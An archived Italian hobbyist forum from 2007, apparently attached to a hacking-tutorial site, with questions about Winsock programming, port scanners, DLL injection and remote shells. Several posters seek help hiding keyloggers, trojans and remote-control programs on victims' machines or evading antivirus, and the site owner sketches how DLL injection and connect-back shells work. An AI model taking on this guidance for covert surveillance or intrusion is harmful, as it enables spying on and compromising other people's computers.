Archivio

Il verso di lettura è dal basso verso l'alto, come era previsto nella precedente versione di Notepad.

28 June 2007, 2:08 PM - cescus: istruzioni x la pw: -- CENSORED --

21 June 2007, 9:27 PM - Carlos: Qual'è la passwoed per l'anima di win?

15 June 2007, 12:53 PM - ixiodor: il dll injection nn funge...alloca in 
memoria,ma non esegue poi il contenuto della dll

14 June 2007, 5:36 AM - lorazepam dose: <Text>

3 June 2007, 3:50 PM - capacity: <Text>

30 May 2007, 6:09 PM - Michele: ciao a tutti e complimenti per il sito ma nn 
riesco a trovare la pw nonostante -- CENSORED --

23 May 2007, 3:27 PM - Antonio: Mi ritrovo con un problema singolare. 
Nell'applicazione Client/Server con Socket che sto realizzando se uso la porta 
80 la parte Server si blocca sull'istruzione bind se uso una qualsiasi altro 
numero porta la bind è eseguita correttamente...

Poichè vorrei usare la porta 80 per superare i firewall a cosa è dovuto questo 
strano comportamento? Come superarlo?

La mia applicazione Client/Server dovrebbe permettere il download automatico 
degli aggiornamenti software...

Grazie




22 May 2007, 10:50 PM - fra: ciao nn riesco a trovare la password anke se l'ho 
decrittata con rot13!

20 May 2007, 11:28 PM - fra: ciao nn riesco a trovare la password anke se l'ho 
decrittata con rot13!

20 May 2007, 10:43 AM - fellers: <Text>

7 May 2007, 9:29 PM - jhonny: Complimenti per il sito, non ce ne sono molti anzi 
nessuno, che io conosca come questo. Ho un broblema sono un newbie e non riesco 
ad utilizzare le librerie windows.h e winsock.h, utilizzo l'ambiente di 
programmazione Visual c++ express edition 2005, e l'errore di debugging è: 
Cannot open include file "..." No such file or directory. Come mai? Qualcuno 
potrebbe darmi una mano, ne sarei molto riconoscente, è da mesi che tento di 
capire cosa non va.

4 May 2007, 5:25 PM - MarDok: Ragazzi ho ancora problemi con la dllinjection ... 
come ambiente di sviluppo utilizzo il dev-c++ e come detto da Marco ho messo la 
libreria -lwsock32 nella riga di comando del linker,poi ho provato a mettere la 
dll così creata sia in system32 che nella cartella del mio eseguibile ma 
niente... A me serve ciò perchè devo creare un keylogger invisibile per un 
progetto universitario ... volevo chiedervi aiuto nel risolvere questo problema 
di non funzionamento e magari consigli su eventuali altri metodi per nascondere 
il tutto!grazie mille in anticipo!

2 May 2007, 12:39 PM - fantasy: <Text>

24 April 2007, 12:18 AM - winspool: <Text>

17 April 2007, 6:43 PM - Antonio: Penso di aver risolto. Ho definito un Mutex e 
condizionato l'accesso al file solo se nessun thread lo sta utilizzando, 
WaitForSingleObject(hmutex, INFINITE); Poichè ogni thread scriverà in questo 
file solo un rigo (80 caratteri circa), nel caso che 2 o più thread accedono 
contemporaneamente (ipotesi piuttosto remota) il tempo di attesa del thread sarà 
insignificante ai fini dell'elaborazione. Non ci dovrebbero essere conseguenze 
per l'applicazione ed eventuali thread in attesa... Che ne pensi della 
soluzione? Ciao e grazie per la disponibilità

16 April 2007, 9:58 AM - Komrade: Per Antonio:

Questi problemi si risolvono con la programmazione concorrente:

http://it.wikipedia.org/wiki/Concorrenza_(informatica)

Esistono diverse API di windows che permettono di utilizzare la programmazione 
concorrente, prova a vedere qui:

http://www.codeguru.com/forum/archive/index.php/t-287624.html

16 April 2007, 9:48 AM - Komrade: Per Franko:

fare una cosa del genere è possibile, si chiamano connectback shell e l'unico 
problema è farle connttere all'indirizzo IP del server di attesa di una shell. 
Che cosa ti ha fermato nella creazione di questo tipo di shell?

16 April 2007, 9:43 AM - Komrade: Per Skorpion: Un esempio di codice su come 
impostare il timeout su una socket lo trovi qui:

http://unsecure.altervista.org/socket/bannerscan.c

10 April 2007, 4:41 PM - Antonio: Grazie per la collaborazione. Mi sto muovendo 
con i socket... Ti pongo una questione attinente. Ho realizzato un Socket Server 
Multithread. Dopo l'esecuzione del thread si dovrebbe scrivere il risultato 
dell'elaborazione all'interno di un unico file. Come posso far si che due o più 
thread non entrino in conflitto se tentano di accedere contemporaneamente a 
questoo file? Grazie

8 April 2007, 3:59 PM - Franko: Ciao a tutti vorrei saper una cosa: E' possibile 
trasformare la shell remota in un client e il mio programma in un server al 
quale la shell remota si connette?

Ho provato a fare ciò ma senza risultati....idee? Ciao bel sito Complimentoni 
^___^

6 April 2007, 11:51 AM - Scorpion: Ciao a tutti volevo sapere come impostare il 
timeout su una socket

6 April 2007, 10:37 AM - Komrade: Per Antonio:

se hai ancora problemi con la tua applicazione fammi sapere come mai dici che 
"ti manca sempre un pezzo", che tipo di problema hai a comunicare con un server 
che dovrebbe essere un server NTP (Network Time Protocol), ricordandoti che 
questo server è in ascolto sulla porta 123 sul protocollo UDP? Fammi sapere.

Ciao

6 April 2007, 10:31 AM - Komrade: il winsock.h è un header che si trova 
all'interno del tuo compilatore C, cerca nella directory che contiene tutti gli 
headers Ciao

5 April 2007, 11:21 AM - Dario: DOVE POSSO TROVARE IL WINSOCK.H?????

2 April 2007, 3:17 PM - n3tfr33: Bel sito...bravo bravo. Xò troppo facile 
entrare nella parte protetta dalla password...senza nulla togliere al rot13 
magari codificala con l'md5 almeno si perde qualche oretta con il buon vecchio 
JTR...cmq davero grazie ci sono un sacco di cose veramente interessanti.

30 March 2007, 11:32 AM - Antonio:

Innanzitutto grazie per la risposta... Il problema è che la data dev'essere 
certa non modificabile, perchè su questa verranno fatti dei controlli per il 
sistema di protezione dell'applicazione.

Ho un'applicazione con un sistema di protezione che si basa su una data di 
scadenza. Ovvio che non posso far riferimento alla data di sistema che può 
essere modificata, ma ad una data presa esternamente.

Mi sto muovendo in ambito socket. Un socket sul server aziendale (che invia la 
data) ed uno nell'applicazione client (che riceve la data)... Così sono certo 
che la data è quella corrente.

Se hai altre idee e/o suggerimenti sono graditi.

Ciao

29 March 2007, 10:11 PM - per antonio: se il tuo problema e ricavare la data 
non c'è bisogno di interrogare un server esterno. basta usare l'API 
GetDateFormat in questo modo:

LPTSTR data; //stringa dove mettere la data
DWORD chBuff = 50; //lunghezza massima della stringa
TCHAR thBuffer[50]; //buffer per la stringa

data = thBuffer;

GetDateFormat(LOCALE_SYSTEM_DEFAULT,0,0,"dddd-MMMM-yyy",data,chBuff);
/*funzione per la scrittura in una stringa della data formato giorno-mese-anno*/

se vuoi documentatri sulla funzione GetDateFormat ti consiglio l'mdsn library.



27 March 2007, 3:37 PM - Antonio: Bello questo sito che mette a disposizione di 
tutti la conoscenza acquisita.... Ho un problema che spero mi aiuterete a 
risolvere. Ho un'applicazione in VC++ 6.0. Devo interrogare un "server timer" 
tipo time.microsoft.com per ottenere la data (giorno-mese-anno) come posso 
fare??? Sto cercando fra i socket ma mi manca sempre un pezzo potete aiutarmi??? 
Grazie anticipatamente per l'aiuto... Antonio

22 March 2007, 7:45 PM - Luca: ciao Komrade, quale sara il tuo prossimo 
tutorial... spero qualcosa di figo...

Una domanda: c'e un programma che mi permetta di fare tipo comando Dir su un 
sito?

Grazie, Luca


22 March 2007, 4:33 PM - un ragazzo: ciao a tutti. ho trovato molto interessane 
la sezione del sito riguardo le shell. volevo chiedere se quacuno sa 
consigliarmi qualche efficace metodo per far comunicare la shell col pc 
attaccante. considerando gli ip dinamici, mi servirebbe un metodo per ricevere 
l'indirizzo ip del computer attaccato, che non sia la ricera degli ip sul 
provider perke troppo lento e neanche la mail perche rischiosa. ringrazio in 
anticipo coloro che risponderanno.

19 March 2007, 9:01 AM - Komrade: La sezione è online e la sto sviluppando. 
Verificando la password funziona correttamente, prova meglio... ciao!

17 March 2007, 6:04 PM - pippo: ho provato a decrittare la password del sito ( 
censored by Komrade ) ma non va ...per caso la sezione e' offline?

15 March 2007, 4:54 PM - Giova: Ok, grazie mille. Appena ho un pò di tempo provo 
a combinare qualcosa. Se ho dei problemi ti faccio sapere. Grazie ancora, a 
presto.

15 March 2007, 11:38 AM - Komrade: Secondo me con i threads ti esce un lavoro 
molto più pulito, affidabile, e veloce, e che si integra molto bene con una 
applicazione grafica quindi ti consiglio di usare i threads. Ciao

14 March 2007, 4:01 PM - Giova: Ciao Komrade, grazie per avermi risposto. Mentre 
attendevo la tua risposta ho fatto qualche esperimento, ancora sotto shell però. 
Sono riuscito a settare un timeout culla funzione connect() utilizzando la 
funzione select(). Per quanto riguarda la tua risposta, vuoi dire che devo 
lasciare stare ogni tentativo di settare un timeout ed utilizzare solo ed 
esclusivamente i thread, o devo fare entrambe le cose? Ciao e grazie ancora.


13 March 2007, 4:04 PM - Komrade: Per Giova:

Se hai intenzione di fare un portscanner ti consiglio di lasciare perdere il 
bannerscan che più che altro utilizzava una variabile di delay per attendere la 
riposta dal server, mentre tu devi solo verificare se una porta è aperta o meno 
(ti basta una connect), per un buon lavoro ti consiglierei due cose:

1 se possibile utilizzare winsock versione 2.0 e quindi iniziare a studiare la 
nuova versione (dovrò aggiornare la mia guida il prima possibile)

2 programmare tramite thread, mi hai detto che te la cavi con le WinApi, esse 
mettono a disposizione funzioni per lavorare con thread (CreateThread), in 
questo modo grazie ai thread puoi inviare parallelemante tante richieste di 
connessione a diverse porte, dimenuendo così i tempi di attesa aumentando 
l'efficienza del portscanner. (Tutti i portscanner che ho visto funzionano in 
queto modo) Ciao.



13 March 2007, 4:01 PM - Z@X: Grande ragazzi, tutorial buonissimi ;)

8 March 2007, 5:39 PM - Giova: Dimenticavo di dire che ho già provato la 
funzione setsockopt()con l'opzione SO_LINGER. Il problema è che in questo modo 
posso stabilire un delay solo in secondi e non in millisecondi. Ciao.

8 March 2007, 4:34 PM - Giova: Ciao Komrade, ho trovato molto interessante 
l'articolo sui winsock, ed ho iniziato a scrivere qualcosina. Vorrei scrivere un 
port scanner partendo prima da qualcosa di semplice, fino ad arrivare ad un 
client grafico, dato che con le WinApi me la cavo benino (Forse sembrerò un pò 
ambizioso...). Per cominciare però ho iniziato a fare qualche piccolo 
esperimento sotto shell. Vorrei fare in modo di velocizzare il portscanner 
diminuendo il delay di attesa prima della caduta della connessione. Ho visto che 
per fare questa cosa, nel bannerscan, hai utilizzato la funzione ioctlsocket() 
interrompendo la funzione recv(), quando il delay prefissato è trascorso. In un 
semplice scanner invece, come devo fare? devo inserire per forza una funzione 
recv() come nel bannerscan? Ho le idee un pò confuse, potresti darmi delle 
delucidazioni? Grazie e a presto

6 March 2007, 3:35 PM - Komrade: Per Luca:

La Dll injection si basa su due operazioni: - la crezione di una DLL che 
eseguirà delle operazioni (una dll semplicissima la trovi qui: 
http://unsecure.altervista.org/codeinjection/codeinjection.htm#DLL_INJECTION)

- la scrittura nella memoria di un processo in esecuzione e quindi l'avvio di 
questa dll.

La dll viene avviata semplicemente chiamando la LoadLibrary("nome_dll.dll") 
all'interno di un altro processo, utilizzando per esempio la funzione 
createRemoteThread() che crea un thread in un processo remoto.

6 March 2007, 3:19 PM - Komrade: per GrT:

Nella riga:
--->sin.sin_addr.s_addr = inet_addr("127.0.0.1");
si utilizza la struttura sockaddr_in (che sarebbe sin) così definita:

struct sockaddr_in {
short sin_family;
u_short sin_port;
struct in_addr sin_addr;
char sin_zero[8];
};

La struttura sin_addr utilizzata al suo interno è in realta una union, cioè può 
contenere valori di divero tipo:

struct in_addr {
union {
struct { u_char s_b1,s_b2,s_b3,s_b4; } S_un_b;
struct { u_short s_w1,s_w2; } S_un_w;
u_long S_addr;
} S_un;

è formata quindi o da 4 char (4*1 bytes) o da 2 short (2*2 byte) o da 1 long 
(4*1 byte)

La funzione inet_addr converte la stringa che identifica l'indirzzo IP in un 
unsigned long (utilizzando la libreria winsock.h) da inserire all'interno della 
strttura.




5 March 2007, 8:32 PM - Paolo Lollo: Ciao asdiamo insieme!

4 March 2007, 9:39 PM - pippo: pluto

4 March 2007, 6:11 PM - Luca: Grazie Komrade, ti volevo fare un'altra domanda.. 
mi spieghi meglio la Dll Injection??? come si fa ad avviare la Dll???

GRazie Luca

1 March 2007, 4:15 PM - Francesco: Ma come faccio ad istallare un Keylogger su 
un pc con Nortonantivirus?


27 February 2007, 8:22 PM - GrT: cia a tutti, sto cercando di scrivere un syn 
flooder e ho trovato molto utilissima la guida introduttiva per i raw socket, 
non ho capito però la riga di codice: --->sin.sin_addr.s_addr = 
inet_addr("127.0.0.1"); pensavo che sin_addr non fosse una struct a sua volta


26 February 2007, 5:53 PM - Komrade: come richiesto da Claudio, ora compare 
anche l'ora di invio dei messaggi

Komrade: Un saluto a tutti, dopo un lungo periodo di silenzio, sto cercando di 
ricominiciare a lavorare su questo sito per continuare il lavoro fatto fino ad 
oggi.

Per Luca: gli shellcode sono dei codici scritti in linguaggio macchina che 
possono essere utilizzati per vari scopi. Essi sono inseriti all'interno di 
exploit. Lo shellcode più diffuso è quello che permette di aprire una shell (un 
prompt dei comandi) su di una determinata porta, per comunicare con la shell è 
sufficiente telnettarsi su quella porta (telnettarsi = usare telnet, programmino 
già presente in ogni S.O.)

Ciao!

Luca: non riesco a capire le shellcode.... sono tipo dei server? come gli si fa 
a mandare i messaggi alla shell?????

Per favore rispondetemi CIAO

Jacks: salve

Luca: genio se proprio un deficente

La voce fuori campo: Povero genio, giuro che mi dispiace per quelli come te. Chi 
ti ha dato il nome di genio? Tua mamma? E' proprio vero che la mamma di quegli 
strani elementi è sempre in cinta, ed ora si mette pure a dargli dei nomi 
sarcastici... Tu non sei un genio incompreso, sei un genio incompleto. 
Incompleto perchè mancante della caratteristica fondamenteale che serve per 
essere prima un uomo e poi un genio: IL CERVELLO. Ti chiarisco un paio di cose: 
1) Era stato espressamente vietato di dire come funziona o quale è la password. 
2) Non vedi che la password cambia ogni volta. Sveglia!

Il Genio: la password per entrare nella sezione che parla di windows è: 
mkgepbxcjoal


ciao

Luca: Ciao, vorrei capire come si fa ad eseguire la Dll dell'esempio a proposito 
della guida su Dll Injection

...: <b>mmm</b>

claudio: giusto per capire che questo sito è .. vivo .. mi piacerebbe che ci 
fosse la data accanto agli interventi .. ;ò)

Dr.Mitnick: complimenti!!!! il sito è semplice efficace e utilissimo!!!

biagio: si puo creare un key logger con il notepad rispondetemi all indirizzo 
info@biagiovuolo.com grazie mille

Domy: esperto io? buahahah XD la mia risposta era vaga xke nn lo sn affatto :-) 
linux è un mondo ke mi è ancora ignoto, non posso esserti di aiuto purtroppo :-( 
io continuo ad avere quel problemino con le socket..volevo kiedervi e se usassi 
la sendto e recvfrom? potrebbe funzionare? mmm...

AbsoluteBeginner: Scusate se insisto, ma che tipo di server è? Grazie Domy per 
la tua risposta ma è un po' vaga. Non vorrei rompere le scatole in mezzo a voi 
che siete tutti esperti, ma è una questione importante. Ho provato a capirci 
qualcosa leggendo nei motori di ricerca ma....nun gliela fò! Grazie. E non posso 
nemmeno dire a buon rendere. :-(

Domy: no ke io sappia..

AbsoluteBeginner: Qualcuno sa dirmi se il server scritto qua sotto è legato a 
qualcosa di strano? (illegale o robe del genere?).


Apache/1.3.29 (Unix) mod_python/2.7.10 Python/2.2.2 mod_webapp/1.2.0-dev 
mod_perl/1.29 mod_throttle/3.1.2 PHP/4.3.4 FrontPage/5.0.2.2510 mod_ssl/2.8.16 
OpenSSL/0.9.7c

Domy: scusate sono nuovo :) ho un piccolo problema..sto cercando di far 
conunicare due socket (server e client)...i messaggi inviati da server vengono 
ricevuti dal client ma..il conrario non avviene :/ cioe il client nn invia 
messaggi..o meglio il server non ne riceve...ho provato ad utilizzare una 
recvfrom ma ha bisogno di altri parametri ke sinceramente non conosco XD 
aiutatemi ç__ç grazie a buon rendere :D

amico: server se vuoi lo testo io! so gia dove e come poterlo testare..


unodipassaggio: il sito è carino

uno_di_passaggio:

il sito risulata interessante

mamo139: @ nonsoniente: spero tu nn stia dicendo che nn sai come compilarlo.... 
:) usa Dev-C++

Server: ciao a tutti, ho creato un applicazione client- server in c, per il 
controllo remoto di un pc, il problema e che nn so kome farlo eseguire sul pc 
della "vittima".Se mando l'eseguibile per email mi viene bloccato, se lo mando 
in un rar no...cmq il fatto e che nn so come nasconderlo e fare in modo che 
venga eseguito....qualcuno sa consigliarmi qualcosa???

nonsoniente: Ciao Raga,vorrei farvi una domanda che sicuramente per voi sarà 
banale..io ho visto il programmino per key logger,conosco il c...ma(nn mi 
uccidete vi prego)..dove inserisco il codice?cioè dove e come lo salvo per farlo 
eseguire avendo windows xp..e più in generale..io programmo in html,in c++ 
ecc..ma come lo rendo eseguibile dal mio pc?Spero di essere stato kiaro grazie 
mille! :-)

mamo139: riassumendo il problema: mi piacerebbe creare una shell remota che non 
sia un server ma un client... grazie mille ciao

mamo139: ho questo problema e che non trascrivo qua per non incasinare il 
notepad grazie ciao http://www.hwupgrade.it/forum/showthread.php?t=1320235

OldFox: Volevo solo dire che codare su Microsoft(R) Windows(Tm) non è una gran 
cosa(Tm), poi fate un po' voi. www.fsf.org .

Tn°X: Grazie tanto della dritta terno a buon rendere CIAO

mamo139: ho provato dll injector... la dll mi sa che viene caricata... infatti 
non la posso cancellare finche nn termino il processo... xò non si esegue, nn mi 
compare l'alert!! ho provato su iexplore... come mai??? grazie mille!

Larika from www.hellboundhackers.org: Buonasera ragazzi e complimenti a komrade 
per i tuoi skills nella programmazione. Mi fa piacere innanzitutto scoprire che 
l'hacking italiano è ancora vivo e supportato da programmatori validi come 
komrade. Volevo chiedervi di dare un'occhiata al sito www.hellboundhackers.org, 
una comunità hackers inglese in cui potrete trovare veri hackers da ogni parte 
del mondo, vere sfide da battere quali missioni realistiche(stile website 
defacement), applicazioni da crackare e gare di programmazione. Inoltre 
troverete all'interno del sito numerosi articoli sull'hacking e numerosi codici 
sorgente di tools molto utili.

Vi aspetto su www.hellboundhackers.org sotto il nick "Larika"

terno: Le seguenti funzioni:

CreateToolhelp32Snapshot() Process32First() Process32Next()

possono essere utilizzate per ottenere una lista completa dei processi che sono 
in esecuzione su di una macchina. Non sto a scriverti il codice sarebbe lungo, 
cmq puoi trovare un esempio completo (di come si usano le funzioni, non di come 
si termina un processo...)su msdn: 
http://msdn.microsoft.com/library/default.asp?url=/library/en-
us/dllproc/base/taking_a_snapshot_and_viewing_processes.asp

Uno dei parametri che prendono Process32First() e Process32Next() è una 
struttura dati chiamata PROCESSENTRY32 che contiene idati relativi ad un 
determinato processo compreso il PID.

Se si vuole terminare un processo a partire dal PID basta prendere uno snapshot 
del sistema con la funzione CreateToolhelp32Snapshot() e poi utilizzare le 
funzioni Process32First() e Process32Next() per cercare il processo con il PID 
che ci interessa. Trovato il PID il gioco è fatto


Tn°X: Scusa ciao ma quali sono le api per trovare il pid??


terno: Veramente un ottimo sito, anche se a giudicare dai post questa specie di 
forum ultimamente mi sembra un pò disertato da Komrade. Ho trovato tutto molto 
interessante anche se ho delle perplessità:

1) Perchè i sorgenti della sezione Code injection project fanno uso di api non 
documentate per trovare il Pid di un processo quando si può fare benissimo con 
le API standard di windows?????????

2) Perchè la dll injection non funziona? O meglio l'injection della dll sembra 
funzionare, ma in realtà il cosice non viene eseguito.

Gaetano: Ciao a tutti sapete per caso qualkosa di siti che parlano di bug nuovi 
e che dicono in cosa consistono facendo anche esempi? No perchè molti parlano 
parlano ma non dicono un asso, che ne so ok che c'e un po di privacy ma ditelo 
anche in linguaggio super tecnico che ne so..anche scrito arabo.. 
ciausssssssssss

ci sn riuscito: ci sn riuscito, ma cmq nn ho capito xke prima nn andava. ciao :-
D

anima windows: Io ho decyptato 10 password in rot13 ma nn funziona nessuna, 
neanche se non la decripto, è xke è in costruzione o ho sbagliato io?


Giova:: Salve a tutti. Vorrei dei chiarimenti sulla remoteshell. Una volta 
connesso alla remoteshell se provo a lanciare da shell qualche programma tipo 
ftp o telnet ed altri programmi che funzionano sotto shell ho dei problemi nella 
corretta visualizzazione del output. Ad esempio con ftp l'output del programma 
non viene visualizzato fino a quando non si digita il comando quit. Questo 
problema può essere risolto in qualche modo? Da cosa dipende? Poi mi chiedevo 
come mai se provo a lanciare una normale applicazione dalla shell ad esempio il 
winmine, non parte subito ma solo dopo aver sciacciato 3 o 4 tasti. Come mai? 
Qualche suggerimento? Grazie e buon lavoro a tutti.


Jake: bhe...io ci ho messo 5 minuti...ma ammetto che sono uno smanettone che 
conosce dall'html al c passando per javascript e finendo per python... (un 
sistemista con la passione della programmazione del network è quanto di più 
simpatico si possa trovare in giro...non trovate??) effettivamente non è 
difficile..ma richiede un pò di conoscenza..ancora complimenti a Komrade. Jake

per attila: evidentemente no :D

Attila: premo invio e mi dice password errata...ma nn e la stringa di 12 
caratteri???

per attila: provato a premere invio ? ...............

Attila: Trovare la password e stato relativamente semplice!!!! Ma dopo che l'ho 
trovata...come faccio ad accedere???? Non c'e nessun pulsante da premere....

Night_XX: Ragà, la password delle sezione anima di windows?? Una cagata 
pazzesca, ci sono riuscito io in 30 secondi che non ne capisco quasi niente di 
html e javascript, ci puo' riuscire chiunque!! La sezione in compenso è troppo 
interessante!! Ciau

Tn°X: Ah! un'ultima cosa, visto che usi anche tu lccwin32 vorrei sapere come si 
fa per far diventare un file .wav o .mid una risorsa, inquanto se scrivo 
nell'header dell'eseguibile: (numero risorsa) WAVE (file) non lo riceve e mi da 
un errore in compilazione, quindi devo sempre fare una chiamata a file esterno, 
come faccio? qual'e' la giusta sintassi? se qualcuno lo sa lo ringrazio 
anticipatamente

Tn°X: Cmq sei forte kromade

Tn°X: AAA se qualcuno fosse interessato al perche e percome mandate una mail a 
piolo6@interfree.it subject: trojan

Tn°X: Grazie, con un po' di infarinatura ho fatto un torjan che lavora davvero 
benone e se neinfischia anche dei firewall hehe

che grande sforzo...: Bhe sì eh... Un algoritmo veramente impressionante... Se 
avete bisogno di --censored-- state messi proprio bene...


sn0z33r: allora ragazzi fate silenzio, non sventolate tutto, ci siete riusciti ? 
bene bravi ! pero' state ZITTI altrimenti tanto valeva non mettere il "giochino" 
che dite ?

Psyco_Rabbit: Teoricamente cambia ad ogni accesso, cmq è relativamente facile 
trovarla...

?!?!?!?: ma la password cambia continuamente?!?!?!? --censored-- mi sa ke 
involontariamente sono riuscito ad hackerare la password.

0_0: ALL'ANIMA SE ERA FACILE!!!!!! HO AVUTO BISOGNO DI --censored-- PER 
TROVARLA!!!!!! E NON HA NEANCHE SENSO!!!

!!!!!!!!!!!!!: pure io l'ho trovata :D non e' difficile :p purtroppo pero' non 
si puo' dire nulla data la semplicita' della cosa.. altrimenti e' come dare la 
password direttamente :P

???: niente so tre ore ke sto a spulcià tra codice della pagina, info della 
pagina, numeri dello sfondo ecc. ma non ho ancora trovato la password... mi puoi 
dare qualche indizio?

Aguzza la vista: Se guardi bene la trovi...


???: qual'è la password della sezione nell'anima di windows?

Giova: Salve a tutti. Vorrei dei chiarimenti sulla remoteshell. Una volta 
connesso alla remoteshell se provo a lanciare da shell qualche programma tipo 
ftp o telnet ed altri programmi che funzionano sotto shell ho dei problemi nella 
corretta visualizzazione del output. Ad esempio con ftp l'output del programma 
non viene visualizzato fino a quando non si digita il comando quit. Questo 
problema può essere risolto in qualche modo? Da cosa dipende? Poi mi chiedevo 
come mai se provo a lanciare una normale applicazione dalla shell ad esempio il 
winmine, non parte subito ma solo dopo aver sciacciato 3 o 4 tasti. Come mai? 
Qualche suggerimento? Grazie e buon lavoro a tutti.

ciccciociccio: ciao come faccio per fare un programma che nn compare nella task 
bar e non visualizza nessuna finestra ma lavora nascosto?

Komrade: Attraverso i valori di ritorno della send e della recv puoi sapere se 
la connessione è stata chiusa o se c'è stato un errore che ha terminato il 
socket, in questo modo puoi fermare la stampa dell'ultimo carattere. Ciao

Hyperion: Ottimo sito komrade :P

Sto facendo pratica con le winsock. ho fatto un semplice programma di chat in 
console. un thread riceve, e il mainthread invia. Il problema è che se il client 
o il server chiude il programma, il corrispondente server o client, riceve 
all'infinito l'ultimo carattere inviato precedentemente. c'è qualche funzione 
tipo: bool ping(sockaddr_in *socket) che returna true se il client/server è 
connesso?

smartolo: Complimenti per il sito ... davvero un ottimo lavoro ... continua così 
Komrade

Daddolo: ma la delay dove va messa come variabile


ciccio: salve io non ho capito solo dove vanno eseguiti i comandi di winsocket?

SaNt0: vx group ? :D Cosa fate ? le moltiplicazioni delle matrici in vb e fate 
gli sboroni ? :D No no aspe' rubate gli account su hotmail ? :D WOW sono il 
primo della lista ! -_-"

WarGame: Per chi fosse interessato ad entrare in un vx group mi puo' contattare 
all'indirizzo: wargame89@yahoo.it Ecco i requisiti: 1) Conoscenza di almeno un 
linguaggio di programmazione (C,C++,asm) 2) Conoscenza dell'inglese 3) Essere 
molto motivato

Per altre info visitate il sito: http://www.eof-project.net

Marco: trovato. è un po più complicato che con visual studio ma una volta capito 
non è difficile. dev c++ utilizza un compilatore gcc quindi per linkare le 
librerie che ti interessano devi inserire nella riga di comando del linker -
NOMELIBRERIA in questo caso -lwsock32. Per fare ciò vai in strumenti, opzioni di 
compilazione e spunta il secondo riquadro(aggiungi questi comandi alla linea di 
comando del linker), scrivi -lwsock32 e premi ok. ora il gioco è fatto ;-)

Marco: @happyhacking: con dev c++ devi linkare le librerie. ora so come funziona 
con visual studio e ho lettoda qualche parte come si fa con dev c++ ma non 
ricordo esattamente come. se qualcuno lo sapesse potrebbe gnetilmente postare? 
anch'io preferisco devc++ a visualstudio e poi ora che monto suse di sicuro il 
visualstudio non mi aiuta

cicciociccio: ciao, nella guida della shell remota c'è scritto ke puo essere 
alla base di trojan. è vero. ma come si fa per far comunicare la shell 
remota(nel computer della vittima) con il mio computer? bisognerebbe fare un 
client che printa a schermo quello che dice la shell remota e inviarli dei 
comandi. quindi bisogna fare 2 shell????? aiuto!!! chiaritemi le ideee per 
favore

francesco ...tangarip@libero.it: ciao sono un ragazzo che frequanta l'iversità 
di bari..ascolta io non ho capito una cosa...nell programma che hai 
fatto...quello "server" ..hai scritto che ti mette all'ascoto con una porta a 
scetla...beh scusa ma ...la porta dove la metti??dove hai scritto argv[0]??....e 
poi (sono ingorante vorrei capire scusa) dove posso vedere TUTTI I CAMPI DELLE 
STRUCT WORD E WSADATA??PERCHè SONO STRUCT!!GIUSTO??...ed inoltre...se ho capito 
bene tu costruisci prima la soket e poi gli passi una soket di tipo BLIND?? 
GIUSTO??...ascolta ti posso chiedere un favore enorme ...commenteresti le 
istruzioni!!??? voglio inparare!!per favore!!

Happyhacking: Io come compilatore utilizzo dev-Cpp...orafaccio altre prove ma 
non riesco a capire perche nn funzia

Komrade: Per Giova: Il protocollo TCP garantisce che i pacchetti arrivino 
corretti ed in ordine, quindi è affidabile, su di esso si basa l'FTP che è il 
protocollo più usato per inviare files, quindi se devi inviare file puoi 
utilizzare il SOCK_STREAM. Certo è che se viene persa la connessione TCP 
(congestione rete, host down) il file non sarà inviato del tutto ma solo in 
parte e quindi sarà corrotto. La cosa più utile è aggiungere un check sulla 
dimensione del file prima e dopo l'invio.

Per HappyHacking: Ti copio un vecchio messaggio che può essere utile:

Avviso per tutti gli interessati alla DLL Injection. Ragazzi la dll che mi ha 
spedito Komrade per posta funziona! E' incredibile è lo stesso codice del suo 
esempio però se lo compilo io e creo la dll non funziona. In pratica se tento di 
fare la dll per conto mio con Visual Studio lui la costruisce senza errori ma 
non si vedono gli effetti dell'iniezione mentre quella compilata da Komrade 
(forse con un altro compilatore) funziona perfettamente (pur essendo lo stesso 
codice). Forse c'è qualche opzione da abilitare/disabilitare nelle opzioni del 
visual Studio, io le ho spulciate un pò ma non ho trovato nulla.

Utilizzi il visual studio per caso?

Per Pd_Kin: Così al volo non saprei rispondere alle due domande, però se guardi 
qui: http://windowssdk.msdn.microsoft.com/en-us/library/ms672060.aspx oppure 
qui: http://windowssdk.msdn.microsoft.com/en-us/library/ms651298.aspx trovi 
tutto sulle edit, sicuramente c'è scritto anche quello che serve a te, per 
esempio c'è il messaggio EM_SETBKGNDCOLOR che ti può servire: 
http://windowssdk.msdn.microsoft.com/en-us/library/ms652067.aspx


Ciao!

<h1>OWN: <h1>OW

\">OWNZ: ">

Pd_kin: Ho trovato questo sito per caso ed è stato proprio un bel colpo di 
fortuna... Volevo fare prima di tutto i complimenti a Komrade per la semplicità 
e l'efficacia dei suoi esempi. Molte cose ho iniziato a capirle grazie a questo 
sito. Avrei un paio di domande da rivolgere a Komrade o a chiunque sia in grado 
di aiutarmi. Ho visto i sorgenti di privatechat e vedo che te la cavi pittosto 
bene anche con le Win32 Api. Le domande sono: 1) Esiste un modo per far sì che 
un edit accetti in input solodeterminati tasti(per esempio solo i tasti che 
corrrispondono alle cifre esadecimali)? 2) Esiste un modo per cambiare il colore 
di un deit che non accetta input dall'utente? Sai il grigio non mi piace 
molto... lo preferirei bianco :) Ringrazio già da ora chiunque possa essermi 
d'aiuto

Happyhacking: Nonmi funziona la dll injection..riesce a caricare la dll nel 
processo ma poi non esegue qello ce c'è sulla dll....help !!!

Giova: Salve a tutti. Da un pò di tempo provo a realizzare qualche programma con 
le winsoc e apparte i piccoli problemi che si incontrano quando si affronta un 
nuovo argomento, diciamo che sto riuscendo a mettere su qualcosa. Ho però un pò 
le idee confuse su alcune questioni. Nel momento in cui dichiaro un socket con 
SOCK_STREAM, decido di utilizzare una connessione TCP/IP. Questo in teoria 
significa che la trasmissione di dati dovrebbe essere affidabile, almeno più del 
tipo SOCK_DGRAM. Se per esempio in un programma utilizzo le winsoc per inviare 
un file da un computer a un altro, mi basta dichiarare socket di tipo 
SOCK_STREAM per evitare errori durante la trasmissione(e quindi magari rendere 
un file inutilizzabile) o devo creare io una qualche funzione di controllo? 
Spero di essere stato sufficientemente chiaro. Grazie a chiunque risponda e 
complimenti a Komrade per il sito.

Komrade: Puoi postare quali sono le tue richieste al server e le riposte? Così 
posso capire meglio

ing_mancato: Il server mi risponde una stringa di caratteri penso che siano 
quelli per la negoziazione ma non so come interpretarli cosa farmene, si 
accettano suggerimenti.


Komrade: Per TheNewSystem: Oltre alle pagine consigliate da Happyhacking ti 
consiglio anche questa della microsoft: 
http://msdn.microsoft.com/library/ita/default.asp?url=/library/ita/vcedit/html/v
corivisualcmainnode.asp

